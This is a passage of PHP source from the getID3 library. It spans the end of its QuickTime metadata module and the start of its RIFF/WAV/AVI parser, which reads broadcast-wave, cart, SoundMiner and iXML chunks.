$handyatomtranslatorarray['trkn'] = 'track_number'; // iTunes 4.0 $handyatomtranslatorarray['tven'] = 'tv_episode_id'; // $handyatomtranslatorarray['tves'] = 'tv_episode'; // iTunes 6.0 $handyatomtranslatorarray['tvnn'] = 'tv_network_name'; // iTunes 6.0 $handyatomtranslatorarray['tvsh'] = 'tv_show_name'; // iTunes 6.0 $handyatomtranslatorarray['tvsn'] = 'tv_season'; // iTunes 6.0 // boxnames: /* $handyatomtranslatorarray['iTunSMPB'] = 'iTunSMPB'; $handyatomtranslatorarray['iTunNORM'] = 'iTunNORM'; $handyatomtranslatorarray['Encoding Params'] = 'Encoding Params'; $handyatomtranslatorarray['replaygain_track_gain'] = 'replaygain_track_gain'; $handyatomtranslatorarray['replaygain_track_peak'] = 'replaygain_track_peak'; $handyatomtranslatorarray['replaygain_track_minmax'] = 'replaygain_track_minmax'; $handyatomtranslatorarray['MusicIP PUID'] = 'MusicIP PUID'; $handyatomtranslatorarray['MusicBrainz Artist Id'] = 'MusicBrainz Artist Id'; $handyatomtranslatorarray['MusicBrainz Album Id'] = 'MusicBrainz Album Id'; $handyatomtranslatorarray['MusicBrainz Album Artist Id'] = 'MusicBrainz Album Artist Id'; $handyatomtranslatorarray['MusicBrainz Track Id'] = 'MusicBrainz Track Id'; $handyatomtranslatorarray['MusicBrainz Disc Id'] = 'MusicBrainz Disc Id'; // http://age.hobba.nl/audio/tag_frame_reference.html $handyatomtranslatorarray['PLAY_COUNTER'] = 'play_counter'; // Foobar2000 - https://www.getid3.org/phpBB3/viewtopic.php?t=1355 $handyatomtranslatorarray['MEDIATYPE'] = 'mediatype'; // Foobar2000 - https://www.getid3.org/phpBB3/viewtopic.php?t=1355 */ } $info = &$this->getid3->info; $comment_key = ''; if ($boxname && ($boxname != $keyname)) { $comment_key = (isset($handyatomtranslatorarray[$boxname]) ? $handyatomtranslatorarray[$boxname] : $boxname); } elseif (isset($handyatomtranslatorarray[$keyname])) { $comment_key = $handyatomtranslatorarray[$keyname]; } if ($comment_key) { if ($comment_key == 'picture') { // already copied directly into [comments][picture] elsewhere, do not re-copy here return true; } $gooddata = array($data); if ($comment_key == 'genre') { // some other taggers separate multiple genres with semicolon, e.g. "Heavy Metal;Thrash Metal;Metal" $gooddata = explode(';', $data); } foreach ($gooddata as $data) { if (!empty($info['quicktime']['comments'][$comment_key]) && in_array($data, $info['quicktime']['comments'][$comment_key], true)) { // avoid duplicate copies of identical data continue; } $info['quicktime']['comments'][$comment_key][] = $data; } } return true; } /** * @param string $lstring * @param int $count * * @return string */ public function LociString($lstring, &$count) { // Loci strings are UTF-8 or UTF-16 and null (x00/x0000) terminated. UTF-16 has a BOM // Also need to return the number of bytes the string occupied so additional fields can be extracted $len = strlen($lstring); if ($len == 0) { $count = 0; return ''; } if ($lstring[0] == "\x00") { $count = 1; return ''; } // check for BOM if (($len > 2) && ((($lstring[0] == "\xFE") && ($lstring[1] == "\xFF")) || (($lstring[0] == "\xFF") && ($lstring[1] == "\xFE")))) { // UTF-16 if (preg_match('/(.*)\x00/', $lstring, $lmatches)) { $count = strlen($lmatches[1]) * 2 + 2; //account for 2 byte characters and trailing \x0000 return getid3_lib::iconv_fallback_utf16_utf8($lmatches[1]); } else { return ''; } } // UTF-8 if (preg_match('/(.*)\x00/', $lstring, $lmatches)) { $count = strlen($lmatches[1]) + 1; //account for trailing \x00 return $lmatches[1]; } return ''; } /** * @param string $nullterminatedstring * * @return string */ public function NoNullString($nullterminatedstring) { // remove the single null terminator on null terminated strings if (substr($nullterminatedstring, strlen($nullterminatedstring) - 1, 1) === "\x00") { return substr($nullterminatedstring, 0, strlen($nullterminatedstring) - 1); } return $nullterminatedstring; } /** * @param string $pascalstring * * @return string */ public function Pascal2String($pascalstring) { // Pascal strings have 1 unsigned byte at the beginning saying how many chars (1-255) are in the string return substr($pascalstring, 1); } /** * @param string $pascalstring * * @return string */ public function MaybePascal2String($pascalstring) { // Pascal strings have 1 unsigned byte at the beginning saying how many chars (1-255) are in the string // Check if string actually is in this format or written incorrectly, straight string, or null-terminated string if (ord(substr($pascalstring, 0, 1)) == (strlen($pascalstring) - 1)) { return substr($pascalstring, 1); } elseif (substr($pascalstring, -1, 1) == "\x00") { // appears to be null-terminated instead of Pascal-style return substr($pascalstring, 0, -1); } return $pascalstring; } /** * Helper functions for m4b audiobook chapters * code by Steffen Hartmann 2015-Nov-08. * * @param array $info * @param string $tag * @param string $history * @param array $result */ public function search_tag_by_key($info, $tag, $history, &$result) { foreach ($info as $key => $value) { $key_history = $history.'/'.$key; if ($key === $tag) { $result[] = array($key_history, $info); } else { if (is_array($value)) { $this->search_tag_by_key($value, $tag, $key_history, $result); } } } } /** * @param array $info * @param string $k * @param string $v * @param string $history * @param array $result */ public function search_tag_by_pair($info, $k, $v, $history, &$result) { foreach ($info as $key => $value) { $key_history = $history.'/'.$key; if (($key === $k) && ($value === $v)) { $result[] = array($key_history, $info); } else { if (is_array($value)) { $this->search_tag_by_pair($value, $k, $v, $key_history, $result); } } } } /** * @param array $info * * @return array */ public function quicktime_time_to_sample_table($info) { $res = array(); $this->search_tag_by_pair($info['quicktime']['moov'], 'name', 'stbl', 'quicktime/moov', $res); foreach ($res as $value) { $stbl_res = array(); $this->search_tag_by_pair($value[1], 'data_format', 'text', $value[0], $stbl_res); if (count($stbl_res) > 0) { $stts_res = array(); $this->search_tag_by_key($value[1], 'time_to_sample_table', $value[0], $stts_res); if (count($stts_res) > 0) { return $stts_res[0][1]['time_to_sample_table']; } } } return array(); } /** * @param array $info * * @return int */ public function quicktime_bookmark_time_scale($info) { $time_scale = ''; $ts_prefix_len = 0; $res = array(); $this->search_tag_by_pair($info['quicktime']['moov'], 'name', 'stbl', 'quicktime/moov', $res); foreach ($res as $value) { $stbl_res = array(); $this->search_tag_by_pair($value[1], 'data_format', 'text', $value[0], $stbl_res); if (count($stbl_res) > 0) { $ts_res = array(); $this->search_tag_by_key($info['quicktime']['moov'], 'time_scale', 'quicktime/moov', $ts_res); foreach ($ts_res as $sub_value) { $prefix = substr($sub_value[0], 0, -12); if ((substr($stbl_res[0][0], 0, strlen($prefix)) === $prefix) && ($ts_prefix_len < strlen($prefix))) { $time_scale = $sub_value[1]['time_scale']; $ts_prefix_len = strlen($prefix); } } } } return $time_scale; } /* // END helper functions for m4b audiobook chapters */ } ID3/module.audio-video.riff.php000064400000406466151202620270012267 0ustar00 // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio-video.riff.php // // module for analyzing RIFF files // // multiple formats supported by this module: // // Wave, AVI, AIFF/AIFC, (MP3,AC3)/RIFF, Wavpack v3, 8SVX // // dependencies: module.audio.mp3.php // // module.audio.ac3.php // // module.audio.dts.php // // /// ///////////////////////////////////////////////////////////////// /** * @todo Parse AC-3/DTS audio inside WAVE correctly * @todo Rewrite RIFF parser totally */ if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true); getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ac3.php', __FILE__, true); getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.dts.php', __FILE__, true); class getid3_riff extends getid3_handler { protected $container = 'riff'; // default /** * @return bool * * @throws getid3_exception */ public function Analyze() { $info = &$this->getid3->info; // initialize these values to an empty array, otherwise they default to NULL // and you can't append array values to a NULL value $info['riff'] = array('raw'=>array()); // Shortcuts $thisfile_riff = &$info['riff']; $thisfile_riff_raw = &$thisfile_riff['raw']; $thisfile_audio = &$info['audio']; $thisfile_video = &$info['video']; $thisfile_audio_dataformat = &$thisfile_audio['dataformat']; $thisfile_riff_audio = &$thisfile_riff['audio']; $thisfile_riff_video = &$thisfile_riff['video']; $thisfile_riff_WAVE = array(); $Original['avdataoffset'] = $info['avdataoffset']; $Original['avdataend'] = $info['avdataend']; $this->fseek($info['avdataoffset']); $RIFFheader = $this->fread(12); $offset = $this->ftell(); $RIFFtype = substr($RIFFheader, 0, 4); $RIFFsize = substr($RIFFheader, 4, 4); $RIFFsubtype = substr($RIFFheader, 8, 4); switch ($RIFFtype) { case 'FORM': // AIFF, AIFC //$info['fileformat'] = 'aiff'; $this->container = 'aiff'; $thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize); $thisfile_riff[$RIFFsubtype] = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4)); break; case 'RIFF': // AVI, WAV, etc case 'SDSS': // SDSS is identical to RIFF, just renamed. Used by SmartSound QuickTracks (www.smartsound.com) case 'RMP3': // RMP3 is identical to RIFF, just renamed. Used by [unknown program] when creating RIFF-MP3s //$info['fileformat'] = 'riff'; $this->container = 'riff'; $thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize); if ($RIFFsubtype == 'RMP3') { // RMP3 is identical to WAVE, just renamed. Used by [unknown program] when creating RIFF-MP3s $RIFFsubtype = 'WAVE'; } if ($RIFFsubtype != 'AMV ') { // AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size // Handled separately in ParseRIFFAMV() $thisfile_riff[$RIFFsubtype] = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4)); } if (($info['avdataend'] - $info['filesize']) == 1) { // LiteWave appears to incorrectly *not* pad actual output file // to nearest WORD boundary so may appear to be short by one // byte, in which case - skip warning $info['avdataend'] = $info['filesize']; } $nextRIFFoffset = $Original['avdataoffset'] + 8 + $thisfile_riff['header_size']; // 8 = "RIFF" + 32-bit offset while ($nextRIFFoffset < min($info['filesize'], $info['avdataend'])) { try { $this->fseek($nextRIFFoffset); } catch (getid3_exception $e) { if ($e->getCode() == 10) { //$this->warning('RIFF parser: '.$e->getMessage()); $this->error('AVI extends beyond '.round(PHP_INT_MAX / 1073741824).'GB and PHP filesystem functions cannot read that far, playtime may be wrong'); $this->warning('[avdataend] value may be incorrect, multiple AVIX chunks may be present'); break; } else { throw $e; } } $nextRIFFheader = $this->fread(12); if ($nextRIFFoffset == ($info['avdataend'] - 1)) { if (substr($nextRIFFheader, 0, 1) == "\x00") { // RIFF padded to WORD boundary, we're actually already at the end break; } } $nextRIFFheaderID = substr($nextRIFFheader, 0, 4); $nextRIFFsize = $this->EitherEndian2Int(substr($nextRIFFheader, 4, 4)); $nextRIFFtype = substr($nextRIFFheader, 8, 4); $chunkdata = array(); $chunkdata['offset'] = $nextRIFFoffset + 8; $chunkdata['size'] = $nextRIFFsize; $nextRIFFoffset = $chunkdata['offset'] + $chunkdata['size']; switch ($nextRIFFheaderID) { case 'RIFF': $chunkdata['chunks'] = $this->ParseRIFF($chunkdata['offset'] + 4, $nextRIFFoffset); if (!isset($thisfile_riff[$nextRIFFtype])) { $thisfile_riff[$nextRIFFtype] = array(); } $thisfile_riff[$nextRIFFtype][] = $chunkdata; break; case 'AMV ': unset($info['riff']); $info['amv'] = $this->ParseRIFFAMV($chunkdata['offset'] + 4, $nextRIFFoffset); break; case 'JUNK': // ignore $thisfile_riff[$nextRIFFheaderID][] = $chunkdata; break; case 'IDVX': $info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunkdata['size'])); break; default: if ($info['filesize'] == ($chunkdata['offset'] - 8 + 128)) { $DIVXTAG = $nextRIFFheader.$this->fread(128 - 12); if (substr($DIVXTAG, -7) == 'DIVXTAG') { // DIVXTAG is supposed to be inside an IDVX chunk in a LIST chunk, but some bad encoders just slap it on the end of a file $this->warning('Found wrongly-structured DIVXTAG at offset '.($this->ftell() - 128).', parsing anyway'); $info['divxtag']['comments'] = self::ParseDIVXTAG($DIVXTAG); break 2; } } $this->warning('Expecting "RIFF|JUNK|IDVX" at '.$nextRIFFoffset.', found "'.$nextRIFFheaderID.'" ('.getid3_lib::PrintHexBytes($nextRIFFheaderID).') - skipping rest of file'); break 2; } } if ($RIFFsubtype == 'WAVE') { $thisfile_riff_WAVE = &$thisfile_riff['WAVE']; } break; default: $this->error('Cannot parse RIFF (this is maybe not a RIFF / WAV / AVI file?) - expecting "FORM|RIFF|SDSS|RMP3" found "'.$RIFFsubtype.'" instead'); //unset($info['fileformat']); return false; } $streamindex = 0; switch ($RIFFsubtype) { // http://en.wikipedia.org/wiki/Wav case 'WAVE': $info['fileformat'] = 'wav'; if (empty($thisfile_audio['bitrate_mode'])) { $thisfile_audio['bitrate_mode'] = 'cbr'; } if (empty($thisfile_audio_dataformat)) { $thisfile_audio_dataformat = 'wav'; } if (isset($thisfile_riff_WAVE['data'][0]['offset'])) { $info['avdataoffset'] = $thisfile_riff_WAVE['data'][0]['offset'] + 8; $info['avdataend'] = $info['avdataoffset'] + $thisfile_riff_WAVE['data'][0]['size']; } if (isset($thisfile_riff_WAVE['fmt '][0]['data'])) { $thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($thisfile_riff_WAVE['fmt '][0]['data']); $thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag']; if (!isset($thisfile_riff_audio[$streamindex]['bitrate']) || ($thisfile_riff_audio[$streamindex]['bitrate'] == 0)) { $this->error('Corrupt RIFF file: bitrate_audio == zero'); return false; } $thisfile_riff_raw['fmt '] = $thisfile_riff_audio[$streamindex]['raw']; unset($thisfile_riff_audio[$streamindex]['raw']); $thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex]; $thisfile_audio = (array) getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]); if (substr($thisfile_audio['codec'], 0, strlen('unknown: 0x')) == 'unknown: 0x') { $this->warning('Audio codec = '.$thisfile_audio['codec']); } $thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate']; if (empty($info['playtime_seconds'])) { // may already be set (e.g. DTS-WAV) $info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $thisfile_audio['bitrate']); } $thisfile_audio['lossless'] = false; if (isset($thisfile_riff_WAVE['data'][0]['offset']) && isset($thisfile_riff_raw['fmt ']['wFormatTag'])) { switch ($thisfile_riff_raw['fmt ']['wFormatTag']) { case 0x0001: // PCM $thisfile_audio['lossless'] = true; break; case 0x2000: // AC-3 $thisfile_audio_dataformat = 'ac3'; break; default: // do nothing break; } } $thisfile_audio['streams'][$streamindex]['wformattag'] = $thisfile_audio['wformattag']; $thisfile_audio['streams'][$streamindex]['bitrate_mode'] = $thisfile_audio['bitrate_mode']; $thisfile_audio['streams'][$streamindex]['lossless'] = $thisfile_audio['lossless']; $thisfile_audio['streams'][$streamindex]['dataformat'] = $thisfile_audio_dataformat; } if (isset($thisfile_riff_WAVE['rgad'][0]['data'])) { // shortcuts $rgadData = &$thisfile_riff_WAVE['rgad'][0]['data']; $thisfile_riff_raw['rgad'] = array('track'=>array(), 'album'=>array()); $thisfile_riff_raw_rgad = &$thisfile_riff_raw['rgad']; $thisfile_riff_raw_rgad_track = &$thisfile_riff_raw_rgad['track']; $thisfile_riff_raw_rgad_album = &$thisfile_riff_raw_rgad['album']; $thisfile_riff_raw_rgad['fPeakAmplitude'] = getid3_lib::LittleEndian2Float(substr($rgadData, 0, 4)); $thisfile_riff_raw_rgad['nRadioRgAdjust'] = $this->EitherEndian2Int(substr($rgadData, 4, 2)); $thisfile_riff_raw_rgad['nAudiophileRgAdjust'] = $this->EitherEndian2Int(substr($rgadData, 6, 2)); $nRadioRgAdjustBitstring = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nRadioRgAdjust']), 16, '0', STR_PAD_LEFT); $nAudiophileRgAdjustBitstring = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nAudiophileRgAdjust']), 16, '0', STR_PAD_LEFT); $thisfile_riff_raw_rgad_track['name'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 0, 3)); $thisfile_riff_raw_rgad_track['originator'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 3, 3)); $thisfile_riff_raw_rgad_track['signbit'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 6, 1)); $thisfile_riff_raw_rgad_track['adjustment'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 7, 9)); $thisfile_riff_raw_rgad_album['name'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 0, 3)); $thisfile_riff_raw_rgad_album['originator'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 3, 3)); $thisfile_riff_raw_rgad_album['signbit'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 6, 1)); $thisfile_riff_raw_rgad_album['adjustment'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 7, 9)); $thisfile_riff['rgad']['peakamplitude'] = $thisfile_riff_raw_rgad['fPeakAmplitude']; if (($thisfile_riff_raw_rgad_track['name'] != 0) && ($thisfile_riff_raw_rgad_track['originator'] != 0)) { $thisfile_riff['rgad']['track']['name'] = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_track['name']); $thisfile_riff['rgad']['track']['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_track['originator']); $thisfile_riff['rgad']['track']['adjustment'] = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_track['adjustment'], $thisfile_riff_raw_rgad_track['signbit']); } if (($thisfile_riff_raw_rgad_album['name'] != 0) && ($thisfile_riff_raw_rgad_album['originator'] != 0)) { $thisfile_riff['rgad']['album']['name'] = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_album['name']); $thisfile_riff['rgad']['album']['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_album['originator']); $thisfile_riff['rgad']['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_album['adjustment'], $thisfile_riff_raw_rgad_album['signbit']); } } if (isset($thisfile_riff_WAVE['fact'][0]['data'])) { $thisfile_riff_raw['fact']['NumberOfSamples'] = $this->EitherEndian2Int(substr($thisfile_riff_WAVE['fact'][0]['data'], 0, 4)); // This should be a good way of calculating exact playtime, // but some sample files have had incorrect number of samples, // so cannot use this method // if (!empty($thisfile_riff_raw['fmt ']['nSamplesPerSec'])) { // $info['playtime_seconds'] = (float) $thisfile_riff_raw['fact']['NumberOfSamples'] / $thisfile_riff_raw['fmt ']['nSamplesPerSec']; // } } if (!empty($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'])) { $thisfile_audio['bitrate'] = getid3_lib::CastAsInt($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'] * 8); } if (isset($thisfile_riff_WAVE['bext'][0]['data'])) { // shortcut $thisfile_riff_WAVE_bext_0 = &$thisfile_riff_WAVE['bext'][0]; $thisfile_riff_WAVE_bext_0['title'] = trim(substr($thisfile_riff_WAVE_bext_0['data'], 0, 256)); $thisfile_riff_WAVE_bext_0['author'] = trim(substr($thisfile_riff_WAVE_bext_0['data'], 256, 32)); $thisfile_riff_WAVE_bext_0['reference'] = trim(substr($thisfile_riff_WAVE_bext_0['data'], 288, 32)); $thisfile_riff_WAVE_bext_0['origin_date'] = substr($thisfile_riff_WAVE_bext_0['data'], 320, 10); $thisfile_riff_WAVE_bext_0['origin_time'] = substr($thisfile_riff_WAVE_bext_0['data'], 330, 8); $thisfile_riff_WAVE_bext_0['time_reference'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 338, 8)); $thisfile_riff_WAVE_bext_0['bwf_version'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 346, 1)); $thisfile_riff_WAVE_bext_0['reserved'] = substr($thisfile_riff_WAVE_bext_0['data'], 347, 254); $thisfile_riff_WAVE_bext_0['coding_history'] = explode("\r\n", trim(substr($thisfile_riff_WAVE_bext_0['data'], 601))); if (preg_match('#^([0-9]{4}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_date'], $matches_bext_date)) { if (preg_match('#^([0-9]{2}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_time'], $matches_bext_time)) { list($dummy, $bext_timestamp['year'], $bext_timestamp['month'], $bext_timestamp['day']) = $matches_bext_date; list($dummy, $bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second']) = $matches_bext_time; $thisfile_riff_WAVE_bext_0['origin_date_unix'] = gmmktime($bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second'], $bext_timestamp['month'], $bext_timestamp['day'], $bext_timestamp['year']); } else { $this->warning('RIFF.WAVE.BEXT.origin_time is invalid'); } } else { $this->warning('RIFF.WAVE.BEXT.origin_date is invalid'); } $thisfile_riff['comments']['author'][] = $thisfile_riff_WAVE_bext_0['author']; $thisfile_riff['comments']['title'][] = $thisfile_riff_WAVE_bext_0['title']; } if (isset($thisfile_riff_WAVE['MEXT'][0]['data'])) { // shortcut $thisfile_riff_WAVE_MEXT_0 = &$thisfile_riff_WAVE['MEXT'][0]; $thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 0, 2)); $thisfile_riff_WAVE_MEXT_0['flags']['homogenous'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0001); if ($thisfile_riff_WAVE_MEXT_0['flags']['homogenous']) { $thisfile_riff_WAVE_MEXT_0['flags']['padding'] = ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0002) ? false : true; $thisfile_riff_WAVE_MEXT_0['flags']['22_or_44'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0004); $thisfile_riff_WAVE_MEXT_0['flags']['free_format'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0008); $thisfile_riff_WAVE_MEXT_0['nominal_frame_size'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 2, 2)); } $thisfile_riff_WAVE_MEXT_0['anciliary_data_length'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 6, 2)); $thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 8, 2)); $thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_left'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0001); $thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_free'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0002); $thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_right'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0004); } if (isset($thisfile_riff_WAVE['cart'][0]['data'])) { // shortcut $thisfile_riff_WAVE_cart_0 = &$thisfile_riff_WAVE['cart'][0]; $thisfile_riff_WAVE_cart_0['version'] = substr($thisfile_riff_WAVE_cart_0['data'], 0, 4); $thisfile_riff_WAVE_cart_0['title'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 4, 64)); $thisfile_riff_WAVE_cart_0['artist'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 68, 64)); $thisfile_riff_WAVE_cart_0['cut_id'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 132, 64)); $thisfile_riff_WAVE_cart_0['client_id'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 196, 64)); $thisfile_riff_WAVE_cart_0['category'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 260, 64)); $thisfile_riff_WAVE_cart_0['classification'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 324, 64)); $thisfile_riff_WAVE_cart_0['out_cue'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 388, 64)); $thisfile_riff_WAVE_cart_0['start_date'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 452, 10)); $thisfile_riff_WAVE_cart_0['start_time'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 462, 8)); $thisfile_riff_WAVE_cart_0['end_date'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 470, 10)); $thisfile_riff_WAVE_cart_0['end_time'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 480, 8)); $thisfile_riff_WAVE_cart_0['producer_app_id'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 488, 64)); $thisfile_riff_WAVE_cart_0['producer_app_version'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 552, 64)); $thisfile_riff_WAVE_cart_0['user_defined_text'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 616, 64)); $thisfile_riff_WAVE_cart_0['zero_db_reference'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 680, 4), true); for ($i = 0; $i < 8; $i++) { $thisfile_riff_WAVE_cart_0['post_time'][$i]['usage_fourcc'] = substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8), 4); $thisfile_riff_WAVE_cart_0['post_time'][$i]['timer_value'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8) + 4, 4)); } $thisfile_riff_WAVE_cart_0['url'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 748, 1024)); $thisfile_riff_WAVE_cart_0['tag_text'] = explode("\r\n", trim(substr($thisfile_riff_WAVE_cart_0['data'], 1772))); $thisfile_riff['comments']['tag_text'][] = substr($thisfile_riff_WAVE_cart_0['data'], 1772); $thisfile_riff['comments']['artist'][] = $thisfile_riff_WAVE_cart_0['artist']; $thisfile_riff['comments']['title'][] = $thisfile_riff_WAVE_cart_0['title']; } if (isset($thisfile_riff_WAVE['SNDM'][0]['data'])) { // SoundMiner metadata // shortcuts $thisfile_riff_WAVE_SNDM_0 = &$thisfile_riff_WAVE['SNDM'][0]; $thisfile_riff_WAVE_SNDM_0_data = &$thisfile_riff_WAVE_SNDM_0['data']; $SNDM_startoffset = 0; $SNDM_endoffset = $thisfile_riff_WAVE_SNDM_0['size']; while ($SNDM_startoffset < $SNDM_endoffset) { $SNDM_thisTagOffset = 0; $SNDM_thisTagSize = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4)); $SNDM_thisTagOffset += 4; $SNDM_thisTagKey = substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4); $SNDM_thisTagOffset += 4; $SNDM_thisTagDataSize = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2)); $SNDM_thisTagOffset += 2; $SNDM_thisTagDataFlags = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2)); $SNDM_thisTagOffset += 2; $SNDM_thisTagDataText = substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, $SNDM_thisTagDataSize); $SNDM_thisTagOffset += $SNDM_thisTagDataSize; if ($SNDM_thisTagSize != (4 + 4 + 2 + 2 + $SNDM_thisTagDataSize)) { $this->warning('RIFF.WAVE.SNDM.data contains tag not expected length (expected: '.$SNDM_thisTagSize.', found: '.(4 + 4 + 2 + 2 + $SNDM_thisTagDataSize).') at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')'); break; } elseif ($SNDM_thisTagSize <= 0) { $this->warning('RIFF.WAVE.SNDM.data contains zero-size tag at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')'); break; } $SNDM_startoffset += $SNDM_thisTagSize; $thisfile_riff_WAVE_SNDM_0['parsed_raw'][$SNDM_thisTagKey] = $SNDM_thisTagDataText; if ($parsedkey = self::waveSNDMtagLookup($SNDM_thisTagKey)) { $thisfile_riff_WAVE_SNDM_0['parsed'][$parsedkey] = $SNDM_thisTagDataText; } else { $this->warning('RIFF.WAVE.SNDM contains unknown tag "'.$SNDM_thisTagKey.'" at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')'); } } $tagmapping = array( 'tracktitle'=>'title', 'category' =>'genre', 'cdtitle' =>'album', ); foreach ($tagmapping as $fromkey => $tokey) { if (isset($thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey])) { $thisfile_riff['comments'][$tokey][] = $thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey]; } } } if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) { // requires functions simplexml_load_string and get_object_vars if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) { $thisfile_riff_WAVE['iXML'][0]['parsed'] = $parsedXML; if (isset($parsedXML['SPEED']['MASTER_SPEED'])) { @list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['MASTER_SPEED']); $thisfile_riff_WAVE['iXML'][0]['master_speed'] = $numerator / ($denominator ? $denominator : 1000); } if (isset($parsedXML['SPEED']['TIMECODE_RATE'])) { @list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['TIMECODE_RATE']); $thisfile_riff_WAVE['iXML'][0]['timecode_rate'] = $numerator / ($denominator ? $denominator : 1000); } if 